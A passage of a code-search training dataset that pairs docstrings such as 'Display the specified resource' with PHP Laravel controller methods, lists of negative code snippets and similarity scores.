"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}"
]
| [
"0.72865677",
"0.7145327",
"0.71325725",
"0.6640912",
"0.66209733",
"0.65685713",
"0.652643",
"0.65095705",
"0.64490104",
"0.637569",
"0.63736665",
"0.63657933",
"0.63657933",
"0.63657933",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437"
]
| 0.0 | -1 |
Display the specified resource. | public function show(Request $request)
{
//
$post_id = $request->get('post_id');
$posts=sharepost::find($post_id);
if($posts==null)
return "잘못된 경로입니다.";
else{
$sharepostQuery=DB::table('sharepost')->select('post_id');
$posts=$sharepostQuery
->addSelect('brd_id')
->addSelect('writer')
->addSelect('score_id')
->addSelect('price')
->addSelect('category')
->addSelect('count')
->addSelect('like')
->addSelect('title')
->addSelect('body')
->addSelect('created_at')
->where('post_id','=',$post_id)
->get();
return json_encode($posts);
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function show(Resource $resource)\n {\n // not available for now\n }",
"public function show(Resource $resource)\n {\n //\n }",
"function Display($resource_name, $cache_id = null, $compile_id = null)\n {\n $this->_smarty->display($resource_name, $cache_id, $compile_id);\n }",
"private function showResourceable($resourceable)\n {\n save_resource_url();\n\n return $this->view('resources.create_edit')\n ->with('resource', $resourceable)\n ->with('photos', $resourceable->photos)\n ->with('videos', $resourceable->videos)\n ->with('documents', $resourceable->documents);\n }",
"function display($resource_name, $cache_id = null, $compile_id = null) {\n\t\t$this->_getResourceInfo($resource_name); // Saves resource info to a Smarty class var for debugging\n\t\t$_t3_fetch_result = $this->fetch($resource_name, tx_smarty_div::getCacheID($cache_id), $compile_id);\n if ($this->debugging) { // Debugging will have been evaluated in fetch\n require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');\n $_t3_fetch_result .= smarty_core_display_debug_console(array(), $this);\n }\n\t\treturn $_t3_fetch_result;\n\t}",
"public function show(ResourceSubject $resourceSubject)\n {\n //\n }",
"public function show(ResourceManagement $resourcesManagement)\n {\n //\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function retrieve(Resource $resource);",
"public function showResource($resouceable, $id)\n {\n $model_name = str_replace('-', ' ',ucwords($resouceable));\n $model_name = str_replace(' ', '',ucwords($model_name));\n\n $resource_type = 'App\\Models\\\\'.$model_name;\n $model = app($resource_type);\n $model = $model->find($id);\n\n return $this->showResourceable($model);\n }",
"public function showAction(Ressource $ressource)\n {\n $deleteForm = $this->createDeleteForm($ressource);\n\n return $this->render('ressource/show.html.twig', array(\n 'ressource' => $ressource,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function show(Dispenser $dispenser)\n {\n //\n }",
"public function show($id)\n {\n $resource = Resource::find($id);\n dd($resource);\n }",
"public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}",
"public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }",
"function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}",
"public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }",
"public function get(Resource $resource);",
"public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }",
"public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }",
"function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}",
"public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }",
"function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}",
"public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function show(rc $rc)\n {\n //\n }",
"public function show(Resolucion $resolucion)\n {\n //\n }",
"public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show(Resena $resena)\n {\n }",
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }",
"public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}",
"public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }",
"public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }",
"public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }",
"public function display()\n\t{\n\t\tparent::display();\n\t}",
"public function get_resource();",
"public function show()\n\t{\n\t\t\n\t}",
"function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}",
"public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }",
"public function display($title = null)\n {\n echo $this->fetch($title);\n }",
"public function display(){}",
"public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}",
"public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}",
"public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }",
"#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}",
"public function display() {\n echo $this->render();\n }",
"public function show($id)\n\t{\n\t//\n\t}",
"public function show($id)\n\t{\n\t//\n\t}",
"function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }",
"public function show($id)\n {\n //\n $this->_show($id);\n }",
"public function show()\n\t{\n\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {\n\t\t//\n\t}",
"public function show($id) {}",
"static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}",
"public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}",
"public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }",
"public abstract function display();",
"abstract public function resource($resource);",
"public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show( $id ) {\n\t\t//\n\t}",
"public function show(Response $response)\n {\n //\n }",
"public function show()\n {\n return auth()->user()->getResource();\n }",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}",
"public function show($id)\n\t{\n\t\t//\n\t}"
]
| [
"0.8233718",
"0.8190437",
"0.6828712",
"0.64986944",
"0.6495974",
"0.6469629",
"0.6462615",
"0.6363665",
"0.6311607",
"0.62817234",
"0.6218966",
"0.6189695",
"0.61804265",
"0.6171014",
"0.61371076",
"0.61207956",
"0.61067593",
"0.6105954",
"0.6094066",
"0.6082806",
"0.6045245",
"0.60389996",
"0.6016584",
"0.598783",
"0.5961788",
"0.59606946",
"0.5954321",
"0.59295714",
"0.59182066",
"0.5904556",
"0.59036547",
"0.59036547",
"0.59036547",
"0.5891874",
"0.58688277",
"0.5868107",
"0.58676815",
"0.5851883",
"0.58144855",
"0.58124036",
"0.58112013",
"0.5803467",
"0.58012545",
"0.5791527",
"0.57901084",
"0.5781528",
"0.5779676",
"0.5757105",
"0.5756208",
"0.57561266",
"0.57453394",
"0.57435393",
"0.57422745",
"0.5736634",
"0.5736634",
"0.5730559",
"0.57259274",
"0.5724891",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5722562",
"0.5718969",
"0.5713412",
"0.57091093",
"0.5706405",
"0.57057405",
"0.5704541",
"0.5704152",
"0.57026845",
"0.57026845",
"0.56981397",
"0.5693083",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962",
"0.5684962"
]
| 0.0 | -1 |
Show the form for editing the specified resource. | public function edit($id)
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }",
"public function edit(Resource $resource)\n {\n //\n }",
"public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }",
"public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }",
"public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }",
"public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }",
"public function edit()\n {\n return view('hirmvc::edit');\n }",
"public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}",
"public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }",
"public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}",
"public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }",
"public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }",
"private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function edit($id)\n {\n return $this->showForm('update', $id);\n }",
"public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }",
"public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }",
"public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}",
"public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }",
"public function edit($model, $form);",
"function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}",
"public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}",
"public function edit()\n { \n return view('admin.control.edit');\n }",
"public function edit(Form $form)\n {\n //\n }",
"public function edit()\n {\n return view('common::edit');\n }",
"public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\n {\n return view('admin::edit');\n }",
"public function edit()\r\n {\r\n return view('petro::edit');\r\n }",
"public function edit($id)\n {\n // show form edit user info\n }",
"public function edit()\n {\n return view('escrow::edit');\n }",
"public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }",
"public function edit()\n {\n return view('commonmodule::edit');\n }",
"public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit()\n {\n return view('catalog::edit');\n }",
"public function edit(form $form)\n {\n //\n }",
"public function actionEdit($id) { }",
"public function edit()\n {\n return view('admincp::edit');\n }",
"public function edit()\n {\n return view('scaffold::edit');\n }",
"public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }",
"public function edit()\n {\n return view('Person.edit');\n }",
"public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }",
"public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}",
"public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }",
"public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}",
"public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }",
"public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }",
"public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }",
"function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}",
"public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"public function edit($id)\n {\n return $this->showForm($id);\n }",
"protected function _edit(){\n\t\treturn $this->_editForm();\n\t}",
"public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }",
"public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }",
"public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}",
